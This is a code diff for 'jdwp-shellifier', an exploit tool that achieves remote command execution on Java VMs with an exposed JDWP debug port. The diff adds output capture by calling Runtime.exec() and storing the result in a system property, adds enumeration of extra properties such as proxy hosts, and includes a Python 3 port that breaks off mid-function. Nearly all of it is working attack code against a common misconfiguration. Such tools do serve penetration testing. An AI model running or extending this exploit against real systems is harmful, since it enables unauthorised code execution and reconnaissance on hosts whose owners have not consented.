diff --git a/jdwp-shellifier.py b/jdwp-shellifier.py index c44fae5..cc2a8e1 100755 --- a/jdwp-shellifier.py +++ b/jdwp-shellifier.py @@ -2,11 +2,8 @@ ################################################################################ # # Universal JDWP shellifier -# -# @_hugsy_ -# -# And special cheers to @lanjelot -# +# Original by @_hugsy_ with special cheers to @lanjelot +# Modified by Andreas Aaris-Larsen with heavy use of Claude import socket import time @@ -519,7 +516,32 @@ def runtime_exec_info(jdwp, threadId): "path.separator": "Path separator", "user.name": "User's account name", "user.home": "User's home directory", - "user.dir": "User's current working directory" + "user.dir": "User's current working directory", + "java.runtime.name": "Java Runtime Environment name", + "java.runtime.version": "Java Runtime Environment version", + "java.vm.info": "Additional JVM information", + "sun.boot.library.path": "Boot library path", + "sun.boot.class.path": "Boot class path", + "sun.java.command": "Java command line", + "sun.java.launcher": "Java launcher type", + "user.language": "User's language", + "user.country": "User's country", + "user.timezone": "User's timezone", + "file.encoding": "File encoding", + "line.separator": "Line separator", + "http.proxyHost": "HTTP proxy host", + "http.proxyPort": "HTTP proxy port", + "https.proxyHost": "HTTPS proxy host", + "https.proxyPort": "HTTPS proxy port", + "ftp.proxyHost": "FTP proxy host", + "ftp.proxyPort": "FTP proxy port", + "socksProxyHost": "SOCKS proxy host", + "socksProxyPort": "SOCKS proxy port", + "sun.arch.data.model": "Data model (32/64 bit)", + "sun.cpu.endian": "Endianness", + "sun.os.patch.level": "OS patch level", + "java.rmi.server.hostname": "RMI server hostname", + "jdwp.cmd.output": "Command output (from --cmd execution)" } systemClass = jdwp.get_class_by_name("Ljava/lang/System;") @@ -533,6 +555,9 @@ def runtime_exec_info(jdwp, threadId): print ("[-] Cannot find method System.getProperty()") return False + # Store command output separately to display at the end + cmd_output = None + for propStr, propDesc in properties.iteritems(): propObjIds = jdwp.createstring(propStr) if len(propObjIds) == 0: @@ -545,12 +570,33 @@ def runtime_exec_info(jdwp, threadId): threadId, getPropertyMeth["methodId"], *data) - if buf[0] != chr(TAG_STRING): - print ("[-] %s: Unexpected returned type: expecting String" % propStr) - else: + if buf[0] == chr(TAG_STRING): retId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) res = cli.solve_string(jdwp.format(jdwp.objectIDSize, retId)) - print ("[+] Found %s '%s'" % (propDesc, res)) + if propStr == "jdwp.cmd.output": + # Store command output for later display + cmd_output = res + else: + print ("[+] Found %s '%s'" % (propDesc, res)) + elif buf[0] == chr(TAG_OBJECT): + # Property not set (returns null) + if propStr == "jdwp.cmd.output": + cmd_output = None + else: + if propStr != "jdwp.cmd.output": + print ("[-] %s: Unexpected returned type: %d" % (propStr, ord(buf[0]))) + + # Display command output at the end if available + if cmd_output is not None: + print ("") + print ("=" * 60) + print ("[*] COMMAND OUTPUT") + print ("=" * 60) + print (cmd_output) + print ("=" * 60) + else: + print ("") + print ("[-] No command output stored in properties") return True @@ -596,12 +642,284 @@ def runtime_exec_payload(jdwp, threadId, runtimeClassId, getRuntimeMethId, comma print ("[-] Unexpected returned type: expecting Object") return False - retId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) - print ("[+] Runtime.exec() successful, retId=%x" % retId) + processId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) + print ("[+] Runtime.exec() successful, processId=%x" % processId) + + # 5. Capture command output + output = capture_process_output(jdwp, threadId, processId) + if output: + print ("[+] Command output captured, storing in system property") + store_output_in_property(jdwp, threadId, output) + print ("[+] Output stored in 'jdwp.cmd.output' property") + print ("[+] Run without --cmd to retrieve output via properties") + else: + print ("[-] Failed to capture command output") return True +def capture_process_output(jdwp, threadId, processId): + """ + Captures stdout from a Process object by: + 1. Getting Process class reference + 2. Calling getInputStream() on Process object + 3. Reading from InputStream using InputStreamReader and BufferedReader + """ + try: + # Get Process class + processClass = jdwp.get_class_by_name("Ljava/lang/Process;") + if processClass is None: + print ("[-] Cannot find class Process") + return None + + # Wait for process to complete + jdwp.get_methods(processClass["refTypeId"]) + waitForMeth = jdwp.get_method_by_name("waitFor") + if waitForMeth: + print ("[+] Waiting for process to complete...") + jdwp.invoke(processId, threadId, processClass["refTypeId"], + waitForMeth["methodId"]) + print ("[+] Process completed") + + # Get getInputStream() method + getInputStreamMeth = jdwp.get_method_by_name("getInputStream") + if getInputStreamMeth is None: + print ("[-] Cannot find method Process.getInputStream()") + return None + + # Call getInputStream() on Process object + buf = jdwp.invoke(processId, threadId, processClass["refTypeId"], + getInputStreamMeth["methodId"]) + if buf[0] != chr(TAG_OBJECT): + print ("[-] Failed to get InputStream") + return None + + inputStreamId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) + print ("[+] Got InputStream id:%#x" % inputStreamId) + + # Use BufferedReader to read output + return capture_with_bufferedreader(jdwp, threadId, inputStreamId) + + except Exception as e: + print ("[-] Exception in capture_process_output: %s" % e) + return None + + +def capture_with_bufferedreader(jdwp, threadId, inputStreamId): + """ + Uses java.io.BufferedReader + InputStreamReader to read InputStream content + This approach manually reads available bytes instead of instantiating new objects + """ + try: + # Simpler approach: read bytes directly from InputStream + inputStreamClass = jdwp.get_class_by_name("Ljava/io/InputStream;") + if inputStreamClass is None: + print ("[-] Cannot find class InputStream") + return None + + jdwp.get_methods(inputStreamClass["refTypeId"]) + + # Get available() method to check how many bytes can be read + availableMeth = None + for method in jdwp.methods[inputStreamClass["refTypeId"]]: + if method["name"] == "available": + availableMeth = method + break + + if availableMeth is None: + print ("[-] Cannot find InputStream.available()") + return None + + # Call available() + buf = jdwp.invoke(inputStreamId, threadId, inputStreamClass["refTypeId"], + availableMeth["methodId"]) + + # Available returns int (TAG_INT = 73 = 'I') + if buf[0] != 'I': + print ("[-] available() unexpected return type") + return None + + availableBytes = struct.unpack(">I", buf[1:5])[0] + print ("[+] Available bytes to read: %d" % availableBytes) + + if availableBytes == 0: + print ("[-] No output available from command") + return None + + # Use StringBuilder approach - read all bytes and convert to String + output = read_inputstream_bytes(jdwp, threadId, inputStreamId, inputStreamClass["refTypeId"]) + + if output: + print ("[+] Captured output (%d bytes)" % len(output)) + + return output + + except Exception as e: + print ("[-] Exception in capture_with_bufferedreader: %s" % e) + import traceback + traceback.print_exc() + return None + + +def read_inputstream_bytes(jdwp, threadId, inputStreamId, inputStreamClassId): + """ + Reads all bytes from InputStream using IOUtils or similar utility + """ + try: + # Try to use Apache Commons IOUtils.toString() if available + # This is commonly available in Java web applications + ioUtilsClass = jdwp.get_class_by_name("Lorg/apache/commons/io/IOUtils;") + + if ioUtilsClass: + print ("[+] Using Apache Commons IOUtils") + jdwp.get_methods(ioUtilsClass["refTypeId"]) + + toStringMeth = None + for method in jdwp.methods[ioUtilsClass["refTypeId"]]: + if method["name"] == "toString" and "(Ljava/io/InputStream;" in method["signature"]: + toStringMeth = method + break + + if toStringMeth: + data = [chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, inputStreamId)] + buf = jdwp.invokestatic(ioUtilsClass["refTypeId"], threadId, + toStringMeth["methodId"], *data) + + if buf[0] == chr(TAG_STRING): + outputId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) + output = jdwp.solve_string(jdwp.format(jdwp.objectIDSize, outputId)) + return output + + # Fallback: Use InputStreamReader + read char array approach + print ("[+] Using InputStreamReader fallback") + return read_with_inputstreamreader(jdwp, threadId, inputStreamId) + + except Exception as e: + print ("[-] Exception in read_inputstream_bytes: %s" % e) + import traceback + traceback.print_exc() + return None + + +def read_with_inputstreamreader(jdwp, threadId, inputStreamId): + """ + Alternative approach: Convert InputStream to String using InputStreamReader + and read() in a loop, building a StringBuilder + """ + try: + # This approach avoids byte arrays: + # 1. Create StringBuilder + # 2. Create InputStreamReader(inputStream) + # 3. Read chars and append to StringBuilder + # 4. Return StringBuilder.toString() + + # For simplicity and reliability, read available bytes using read() + # but with progress indication + inputStreamClass = jdwp.get_class_by_name("Ljava/io/InputStream;") + jdwp.get_methods(inputStreamClass["refTypeId"]) + + readMeth = None + for method in jdwp.methods[inputStreamClass["refTypeId"]]: + if method["name"] == "read" and method["signature"] == "()I": + readMeth = method + break + + if readMeth is None: + print ("[-] Cannot find InputStream.read()") + return None + + output_bytes = [] + max_bytes = 65536 + last_progress = 0 + + sys.stdout.write("[+] Reading output") + sys.stdout.flush() + + for i in range(max_bytes): + buf = jdwp.invoke(inputStreamId, threadId, inputStreamClass["refTypeId"], + readMeth["methodId"]) + + if buf[0] != 'I': + sys.stdout.write("\n") + print ("[-] read() unexpected return type") + break + + byte_val = struct.unpack(">i", buf[1:5])[0] + + if byte_val == -1: + break + + output_bytes.append(chr(byte_val & 0xFF)) + + # Progress indicator every 100 bytes + if len(output_bytes) % 100 == 0 and len(output_bytes) != last_progress: + sys.stdout.write(".") + sys.stdout.flush() + last_progress = len(output_bytes) + + sys.stdout.write("\n") + + if len(output_bytes) == 0: + return None + + return ''.join(output_bytes) + + except Exception as e: + print ("[-] Exception in read_with_inputstreamreader: %s" % e) + return None + + +def store_output_in_property(jdwp, threadId, output): + """ + Stores output in system property 'jdwp.cmd.output' using System.setProperty() + """ + try: + # Get System class + systemClass = jdwp.get_class_by_name("Ljava/lang/System;") + if systemClass is None: + print ("[-] Cannot find class System") + return False + + # Get setProperty method + jdwp.get_methods(systemClass["refTypeId"]) + setPropertyMeth = None + for method in jdwp.methods[systemClass["refTypeId"]]: + if method["name"] == "setProperty": + setPropertyMeth = method + break + + if setPropertyMeth is None: + print ("[-] Cannot find System.setProperty()") + return False + + # Create property name string + propNameObjIds = jdwp.createstring("jdwp.cmd.output") + if len(propNameObjIds) == 0: + return False + propNameObjId = propNameObjIds[0]["objId"] + + # Create property value string (the output) + propValueObjIds = jdwp.createstring(output) + if len(propValueObjIds) == 0: + return False + propValueObjId = propValueObjIds[0]["objId"] + + # Call System.setProperty(name, value) + data = [ + chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, propNameObjId), + chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, propValueObjId) + ] + + jdwp.invokestatic(systemClass["refTypeId"], threadId, + setPropertyMeth["methodId"], *data) + + return True + + except Exception as e: + print ("[-] Exception in store_output_in_property: %s" % e) + return False + + def str2fqclass(s): i = s.rfind('.') if i == -1: @@ -624,6 +942,8 @@ def str2fqclass(s): default="java.net.ServerSocket.accept", help="Specify full path to method to break on") parser.add_argument("--cmd", dest="cmd", type=str, metavar="COMMAND", help="Specify command to execute remotely") + parser.add_argument("--cmd-with-output", dest="cmd_with_output", type=str, metavar="COMMAND", + help="Execute command and automatically retrieve output") args = parser.parse_args() @@ -634,12 +954,57 @@ def str2fqclass(s): retcode = 0 try: - cli = JDWPClient(args.target, args.port) - cli.start() + # Handle --cmd-with-output: execute command, then retrieve output + if args.cmd_with_output: + print ("[+] Executing command with output retrieval mode") + print ("") + + # First execution: run command and store output + print ("=" * 60) + print ("[*] PHASE 1: Executing command and storing output") + print ("=" * 60) + args.cmd = args.cmd_with_output + + cli = JDWPClient(args.target, args.port) + cli.start() + + if runtime_exec(cli, args) == False: + print ("[-] Exploit failed in execution phase") + retcode = 1 + cli.leave() + else: + cli.leave() + + # Small delay to ensure property is set + print ("") + print ("[+] Waiting 2 seconds before retrieving output...") + time.sleep(2) + + # Second execution: retrieve output + print ("") + print ("=" * 60) + print ("[*] PHASE 2: Retrieving command output") + print ("=" * 60) + args.cmd = None + + cli = JDWPClient(args.target, args.port) + cli.start() + + if runtime_exec(cli, args) == False: + print ("[-] Exploit failed in retrieval phase") + retcode = 1 - if runtime_exec(cli, args) == False: - print ("[-] Exploit failed") - retcode = 1 + cli.leave() + else: + # Normal execution mode + cli = JDWPClient(args.target, args.port) + cli.start() + + if runtime_exec(cli, args) == False: + print ("[-] Exploit failed") + retcode = 1 + + cli.leave() except KeyboardInterrupt: print ("[+] Exiting on user's request") @@ -647,10 +1012,5 @@ def str2fqclass(s): except Exception as e: print ("[-] Exception: %s" % e) retcode = 1 - cli = None - - finally: - if cli: - cli.leave() sys.exit(retcode) diff --git a/jdwp-shellifier3.py b/jdwp-shellifier3.py new file mode 100644 index 0000000..35f5f13 --- /dev/null +++ b/jdwp-shellifier3.py @@ -0,0 +1,858 @@ +#!/usr/bin/env python3 +import socket +import time +import sys +import struct +import argparse + +class Colors: + HEADER = '\033[95m' + OKBLUE = '\033[94m' + OKCYAN = '\033[96m' + OKGREEN = '\033[92m' + WARNING = '\033[93m' + FAIL = '\033[91m' + ENDC = '\033[0m' + BOLD = '\033[1m' + UNDERLINE = '\033[4m' + DIM = '\033[2m' + + @staticmethod + def disable(): + Colors.HEADER = Colors.OKBLUE = Colors.OKCYAN = Colors.OKGREEN = '' + Colors.WARNING = Colors.FAIL = Colors.ENDC = Colors.BOLD = '' + Colors.UNDERLINE = Colors.DIM = '' + +HANDSHAKE = b"JDWP-Handshake" +REQUEST_PACKET_TYPE = 0x00 +REPLY_PACKET_TYPE = 0x80 + +VERSION_SIG = (1, 1) +CLASSESBYSIGNATURE_SIG = (1, 2) +ALLCLASSES_SIG = (1, 3) +ALLTHREADS_SIG = (1, 4) +IDSIZES_SIG = (1, 7) +CREATESTRING_SIG = (1, 11) +SUSPENDVM_SIG = (1, 8) +RESUMEVM_SIG = (1, 9) +SIGNATURE_SIG = (2, 1) +FIELDS_SIG = (2, 4) +METHODS_SIG = (2, 5) +GETVALUES_SIG = (2, 6) +CLASSOBJECT_SIG = (2, 11) +INVOKESTATICMETHOD_SIG = (3, 3) +REFERENCETYPE_SIG = (9, 1) +INVOKEMETHOD_SIG = (9, 6) +STRINGVALUE_SIG = (10, 1) +THREADNAME_SIG = (11, 1) +THREADSUSPEND_SIG = (11, 2) +THREADRESUME_SIG = (11, 3) +THREADSTATUS_SIG = (11, 4) +EVENTSET_SIG = (15, 1) +EVENTCLEAR_SIG = (15, 2) +EVENTCLEARALL_SIG = (15, 3) + +MODKIND_COUNT = 1 +MODKIND_THREADONLY = 2 +MODKIND_CLASSMATCH = 5 +MODKIND_LOCATIONONLY = 7 +EVENT_BREAKPOINT = 2 +SUSPEND_EVENTTHREAD = 1 +SUSPEND_ALL = 2 +NOT_IMPLEMENTED = 99 +VM_DEAD = 112 +INVOKE_SINGLE_THREADED = 2 +TAG_OBJECT = 76 +TAG_STRING = 115 +TYPE_CLASS = 1 + +class JDWPClient: + def __init__(self, host, port=8000): + self.host = host + self.port = port + self.methods = {} + self.fields = {} + self.id = 0x01 + + def create_packet(self, cmdsig, data=b""): + flags = 0x00 + cmdset, cmd = cmdsig + pktlen = len(data) + 11 + pkt = struct.pack(">IIccc", pktlen, self.id, bytes([flags]), bytes([cmdset]), bytes([cmd])) + pkt += data + self.id += 2 + return pkt + + def read_reply(self): + header = self.socket.recv(11) + pktlen, id, flags, errcode = struct.unpack(">IIcH", header) + if flags[0] == REPLY_PACKET_TYPE: + if errcode: + raise Exception("Received errcode %d" % errcode) + buf = b"" + while len(buf) + 11 < pktlen: + data = self.socket.recv(1024) + if len(data): + buf += data + else: + time.sleep(1) + return buf + + def parse_entries(self, buf, formats, explicit=True): + entries = [] + index = 0 + if explicit: + nb_entries = struct.unpack(">I", buf[:4])[0] + buf = buf[4:] + else: + nb_entries = 1 + for i in range(nb_entries): + data = {} + for fmt, name in formats: + if fmt == "L" or fmt == 8: + data[name] = int(struct.unpack(">Q", buf[index:index+8])[0]) + index += 8 + elif fmt == "I" or fmt == 4: + data[name] = int(struct.unpack(">I", buf[index:index+4])[0]) + index += 4 + elif fmt == 'S': + l = struct.unpack(">I", buf[index:index+4])[0] + data[name] = buf[index+4:index+4+l].decode('utf-8') + index += 4+l + elif fmt == 'C': + data[name] = buf[index] + index += 1 + elif fmt == 'Z': + t = buf[index] + if t == 115: + s = self.solve_string(buf[index+1:index+9]) + data[name] = s + index += 9 + elif t == 73: + data[name] = struct.unpack(">I", buf[index+1:index+5])[0] + buf = struct.unpack(">I", buf[index+5:index+9]) + index = 0 + else: + print("Error") + sys.exit(1) + entries.append(data) + return entries + + def format(self, fmt, value): + if fmt == "L" or fmt == 8: + return struct.pack(">Q", value) + elif fmt == "I" or fmt == 4: + return struct.pack(">I", value) + raise Exception("Unknown format") + + def unformat(self, fmt, value): + if fmt == "L" or fmt == 8: + return struct.unpack(">Q", value[:8])[0] + elif fmt == "I" or fmt == 4: + return struct.unpack(">I", value[:4])[0] + else: + raise Exception("Unknown format") + + def start(self): + self.handshake(self.host, self.port) + self.idsizes() + self.getversion() + return + + def handshake(self, host, port): + s = socket.socket() + s.settimeout(30) + try: + s.connect((host, port)) + except socket.error as msg: + raise Exception("Failed to connect: %s" % msg) + s.send(HANDSHAKE) + if s.recv(len(HANDSHAKE)) != HANDSHAKE: + raise Exception("Failed to handshake") + else: + self.socket = s + return + + def leave(self): + self.socket.close() + return + + def getversion(self): + self.socket.sendall(self.create_packet(VERSION_SIG)) + buf = self.read_reply() + formats = [('S', "description"), ('I', "jdwpMajor"), ('I', "jdwpMinor"), + ('S', "vmVersion"), ('S', "vmName"),] + for entry in self.parse_entries(buf, formats, False): + for name, value in entry.items(): + setattr(self, name, value) + return + + @property + def version(self): + return "%s - %s" % (self.vmName, self.vmVersion) + + def idsizes(self): + self.socket.sendall(self.create_packet(IDSIZES_SIG)) + buf = self.read_reply() + formats = [("I", "fieldIDSize"), ("I", "methodIDSize"), ("I", "objectIDSize"), + ("I", "referenceTypeIDSize"), ("I", "frameIDSize")] + for entry in self.parse_entries(buf, formats, False): + for name, value in entry.items(): + setattr(self, name, value) + return + + def allthreads(self): + try: + getattr(self, "threads") + except: + self.socket.sendall(self.create_packet(ALLTHREADS_SIG)) + buf = self.read_reply() + formats = [(self.objectIDSize, "threadId")] + self.threads = self.parse_entries(buf, formats) + finally: + return self.threads + + def get_thread_by_name(self, name): + self.allthreads() + for t in self.threads: + threadId = self.format(self.objectIDSize, t["threadId"]) + self.socket.sendall(self.create_packet(THREADNAME_SIG, data=threadId)) + buf = self.read_reply() + if len(buf) and name == self.readstring(buf): + return t + return None + + def allclasses(self): + try: + getattr(self, "classes") + except: + self.socket.sendall(self.create_packet(ALLCLASSES_SIG)) + buf = self.read_reply() + formats = [('C', "refTypeTag"), + (self.referenceTypeIDSize, "refTypeId"), + ('S', "signature"), + ('I', "status")] + self.classes = self.parse_entries(buf, formats) + finally: + return self.classes + + def get_class_by_name(self, name): + for entry in self.classes: + if entry["signature"].lower() == name.lower(): + return entry + return None + + def get_methods(self, refTypeId): + if refTypeId not in self.methods: + refId = self.format(self.referenceTypeIDSize, refTypeId) + self.socket.sendall(self.create_packet(METHODS_SIG, data=refId)) + buf = self.read_reply() + formats = [(self.methodIDSize, "methodId"), + ('S', "name"), + ('S', "signature"), + ('I', "modBits")] + self.methods[refTypeId] = self.parse_entries(buf, formats) + return self.methods[refTypeId] + + def get_method_by_name(self, name): + for refId in self.methods.keys(): + for entry in self.methods[refId]: + if entry["name"].lower() == name.lower(): + return entry + return None + + def getfields(self, refTypeId): + if refTypeId not in self.fields: + refId = self.format(self.referenceTypeIDSize, refTypeId) + self.socket.sendall(self.create_packet(FIELDS_SIG, data=refId)) + buf = self.read_reply() + formats = [(self.fieldIDSize, "fieldId"), + ('S', "name"), + ('S', "signature"), + ('I', "modbits")] + self.fields[refTypeId] = self.parse_entries(buf, formats) + return self.fields[refTypeId] + + def getvalue(self, refTypeId, fieldId): + data = self.format(self.referenceTypeIDSize, refTypeId) + data += struct.pack(">I", 1) + data += self.format(self.fieldIDSize, fieldId) + self.socket.sendall(self.create_packet(GETVALUES_SIG, data=data)) + buf = self.read_reply() + formats = [("Z", "value")] + field = self.parse_entries(buf, formats)[0] + return field + + def createstring(self, data): + buf = self.buildstring(data) + self.socket.sendall(self.create_packet(CREATESTRING_SIG, data=buf)) + buf = self.read_reply() + return self.parse_entries(buf, [(self.objectIDSize, "objId")], False) + + def buildstring(self, data): + if isinstance(data, str): + data = data.encode('utf-8') + return struct.pack(">I", len(data)) + data + + def readstring(self, data): + size = struct.unpack(">I", data[:4])[0] + return data[4:4+size].decode('utf-8') + + def suspendvm(self): + self.socket.sendall(self.create_packet(SUSPENDVM_SIG)) + self.read_reply() + return + + def resumevm(self): + self.socket.sendall(self.create_packet(RESUMEVM_SIG)) + self.read_reply() + return + + def invokestatic(self, classId, threadId, methId, *args): + data = self.format(self.referenceTypeIDSize, classId) + data += self.format(self.objectIDSize, threadId) + data += self.format(self.methodIDSize, methId) + data += struct.pack(">I", len(args)) + for arg in args: + data += arg + data += struct.pack(">I", 0) + self.socket.sendall(self.create_packet(INVOKESTATICMETHOD_SIG, data=data)) + buf = self.read_reply() + return buf + + def invoke(self, objId, threadId, classId, methId, *args): + data = self.format(self.objectIDSize, objId) + data += self.format(self.objectIDSize, threadId) + data += self.format(self.referenceTypeIDSize, classId) + data += self.format(self.methodIDSize, methId) + data += struct.pack(">I", len(args)) + for arg in args: + data += arg + data += struct.pack(">I", 0) + self.socket.sendall(self.create_packet(INVOKEMETHOD_SIG, data=data)) + buf = self.read_reply() + return buf + + def solve_string(self, objId): + self.socket.sendall(self.create_packet(STRINGVALUE_SIG, data=objId)) + buf = self.read_reply() + if len(buf): + return self.readstring(buf) + else: + return "" + + def query_thread(self, threadId, kind): + data = self.format(self.objectIDSize, threadId) + self.socket.sendall(self.create_packet(kind, data=data)) + buf = self.read_reply() + return + + def suspend_thread(self, threadId): + return self.query_thread(threadId, THREADSUSPEND_SIG) + + def status_thread(self, threadId): + return self.query_thread(threadId, THREADSTATUS_SIG) + + def resume_thread(self, threadId): + return self.query_thread(threadId, THREADRESUME_SIG) + + def send_event(self, eventCode, *args): + data = b"" + data += bytes([eventCode]) + data += bytes([SUSPEND_ALL]) + data += struct.pack(">I", len(args)) + for kind, option in args: + data += bytes([kind]) + data += option + self.socket.sendall(self.create_packet(EVENTSET_SIG, data=data)) + buf = self.read_reply() + return struct.unpack(">I", buf)[0] + + def clear_event(self, eventCode, rId): + data = bytes([eventCode]) + data += struct.pack(">I", rId) + self.socket.sendall(self.create_packet(EVENTCLEAR_SIG, data=data)) + self.read_reply() + return + + def clear_events(self): + self.socket.sendall(self.create_packet(EVENTCLEARALL_SIG)) + self.read_reply() + return + + def wait_for_event(self): + buf = self.read_reply() + return buf + + def parse_event_breakpoint(self, buf, eventId): + num = struct.unpack(">I", buf[2:6])[0] + rId = struct.unpack(">I", buf[6:10])[0] + if rId != eventId: + return None + tId = self.unformat(self.objectIDSize, buf[10:10+self.objectIDSize]) + loc = -1 + return rId, tId, loc + +def runtime_exec(jdwp, args): + verbose = getattr(args, 'verbose', True) + if verbose: + print(f"{Colors.OKCYAN}[+]{Colors.ENDC} Targeting {Colors.BOLD}'{args.target}:{args.port}'{Colors.ENDC}") + print(f"{Colors.OKCYAN}[+]{Colors.ENDC} Reading settings for {Colors.DIM}'{jdwp.version}'{Colors.ENDC}") + jdwp.allclasses() + runtimeClass = jdwp.get_class_by_name("Ljava/lang/Runtime;") + if runtimeClass is None: + if verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} Cannot find class Runtime") + return False + if verbose: + print(f"{Colors.OKGREEN}[+]{Colors.ENDC} Found Runtime class: {Colors.DIM}id={Colors.ENDC}{Colors.WARNING}%x{Colors.ENDC}" % runtimeClass["refTypeId"]) + jdwp.get_methods(runtimeClass["refTypeId"]) + getRuntimeMeth = jdwp.get_method_by_name("getRuntime") + if getRuntimeMeth is None: + if verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} Cannot find method Runtime.getRuntime()") + return False + if verbose: + print(f"{Colors.OKGREEN}[+]{Colors.ENDC} Found Runtime.getRuntime(): {Colors.DIM}id={Colors.ENDC}{Colors.WARNING}%x{Colors.ENDC}" % getRuntimeMeth["methodId"]) + c = jdwp.get_class_by_name(args.break_on_class) + if c is None: + if verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} Could not access class '{args.break_on_class}'") + print(f"{Colors.FAIL}[-]{Colors.ENDC} It is possible that this class is not used by application") + print(f"{Colors.FAIL}[-]{Colors.ENDC} Test with another one with option `--break-on`") + return False + jdwp.get_methods(c["refTypeId"]) + m = jdwp.get_method_by_name(args.break_on_method) + if m is None: + if verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} Could not access method '{args.break_on}'") + return False + loc = bytes([TYPE_CLASS]) + loc += jdwp.format(jdwp.referenceTypeIDSize, c["refTypeId"]) + loc += jdwp.format(jdwp.methodIDSize, m["methodId"]) + loc += struct.pack(">II", 0, 0) + data = [(MODKIND_LOCATIONONLY, loc),] + rId = jdwp.send_event(EVENT_BREAKPOINT, *data) + if verbose: + print(f"{Colors.OKGREEN}[+]{Colors.ENDC} Created break event {Colors.DIM}id={Colors.ENDC}{Colors.WARNING}%x{Colors.ENDC}" % rId) + jdwp.resumevm() + if verbose: + print(f"{Colors.OKCYAN}[+]{Colors.ENDC} Waiting for an event on {Colors.DIM}'{args.break_on}'{Colors.ENDC}") + else: + sys.stdout.write(f"{Colors.OKCYAN}[*]{Colors.ENDC} Waiting for breakpoint") + sys.stdout.flush() + while True: + buf = jdwp.wait_for_event() + ret = jdwp.parse_event_breakpoint(buf, rId) + if ret is not None: + break + if not verbose: + sys.stdout.write(f"{Colors.DIM}.{Colors.ENDC}") + sys.stdout.flush() + if not verbose: + sys.stdout.write(f" {Colors.OKGREEN}hit{Colors.ENDC}\n") + rId, tId, loc = ret + if verbose: + print(f"{Colors.OKGREEN}[+]{Colors.ENDC} Received matching event from thread {Colors.WARNING}%#x{Colors.ENDC}" % tId) + jdwp.clear_event(EVENT_BREAKPOINT, rId) + if args.cmd: + runtime_exec_payload(jdwp, tId, runtimeClass["refTypeId"], getRuntimeMeth["methodId"], args.cmd, verbose) + else: + runtime_exec_info(jdwp, tId, verbose) + jdwp.resumevm() + if verbose: + print(f"{Colors.OKGREEN}[!]{Colors.ENDC} Command successfully executed") + return True + +def runtime_exec_info(jdwp, threadId, verbose=True): + properties = {"os.name": "Operating system name", "user.name": "User's account name", + "user.dir": "User's current working directory", "jdwp.cmd.output": "Command output"} + systemClass = jdwp.get_class_by_name("Ljava/lang/System;") + if systemClass is None: + if verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} Cannot find class java.lang.System") + return False + jdwp.get_methods(systemClass["refTypeId"]) + getPropertyMeth = jdwp.get_method_by_name("getProperty") + if getPropertyMeth is None: + if verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} Cannot find method System.getProperty()") + return False + cmd_output = None + for propStr, propDesc in properties.items(): + propObjIds = jdwp.createstring(propStr) + if len(propObjIds) == 0: + if verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} Failed to allocate command") + return False + propObjId = propObjIds[0]["objId"] + data = [bytes([TAG_OBJECT]) + jdwp.format(jdwp.objectIDSize, propObjId),] + buf = jdwp.invokestatic(systemClass["refTypeId"], threadId, getPropertyMeth["methodId"], *data) + if buf[0] == TAG_STRING: + retId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) + res = jdwp.solve_string(jdwp.format(jdwp.objectIDSize, retId)) + if propStr == "jdwp.cmd.output": + cmd_output = res + else: + if verbose: + print(f"{Colors.OKGREEN}[+]{Colors.ENDC} Found {propDesc} {Colors.DIM}'{res}'{Colors.ENDC}") + elif buf[0] == TAG_OBJECT: + if propStr == "jdwp.cmd.output": + cmd_output = None + if cmd_output is not None: + print("") + print(f"{Colors.BOLD}{Colors.OKCYAN}{'═' * 60}{Colors.ENDC}") + print(f"{Colors.BOLD}{Colors.OKGREEN}[>]{Colors.ENDC} {Colors.BOLD}COMMAND OUTPUT{Colors.ENDC}") + print(f"{Colors.BOLD}{Colors.OKCYAN}{'═' * 60}{Colors.ENDC}") + print(cmd_output) + print(f"{Colors.BOLD}{Colors.OKCYAN}{'═' * 60}{Colors.ENDC}") + + # Clear the output property after displaying + clear_output_property(jdwp, threadId, verbose) + else: + if verbose: + print("") + print(f"{Colors.FAIL}[-]{Colors.ENDC} No command output stored in properties") + return True + +def runtime_exec_payload(jdwp, threadId, runtimeClassId, getRuntimeMethId, command, verbose=True): + if verbose: + print(f"{Colors.OKGREEN}[+]{Colors.ENDC} Selected payload {Colors.BOLD}'{command}'{Colors.ENDC}") + cmdObjIds = jdwp.createstring(command) + if len(cmdObjIds) == 0: + if verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} Failed to allocate command") + return False + cmdObjId = cmdObjIds[0]["objId"] + if verbose: + print(f"{Colors.OKGREEN}[+]{Colors.ENDC} Command string object created {Colors.DIM}id:{Colors.ENDC}{Colors.WARNING}%x{Colors.ENDC}" % cmdObjId) + buf = jdwp.invokestatic(runtimeClassId, threadId, getRuntimeMethId) + if buf[0] != TAG_OBJECT: + if verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} Unexpected returned type: expecting Object") + return False + rt = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) + if rt is None: + if verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} Failed to invoke Runtime.getRuntime()") + return False + if verbose: + print(f"{Colors.OKGREEN}[+]{Colors.ENDC} Runtime.getRuntime() returned context {Colors.DIM}id:{Colors.ENDC}{Colors.WARNING}%#x{Colors.ENDC}" % rt) + execMeth = jdwp.get_method_by_name("exec") + if execMeth is None: + if verbose: + print(f"{Colors.FAIL}[-]{Colors.ENDC} Cannot find method Runtime.exec()") + return False + if verbose: + print(f"{Colors.OKGREEN}[+]{Colors.ENDC} found Runtime.exec(): {Colors.DIM}id={Colors.ENDC}{Colors.WARNING}%x{Colors.ENDC}" % execMeth["methodId"]) + data = [bytes([TAG_OBJECT]) + jdwp.format(jdwp.objectIDSize, cmdObjId)] + buf = 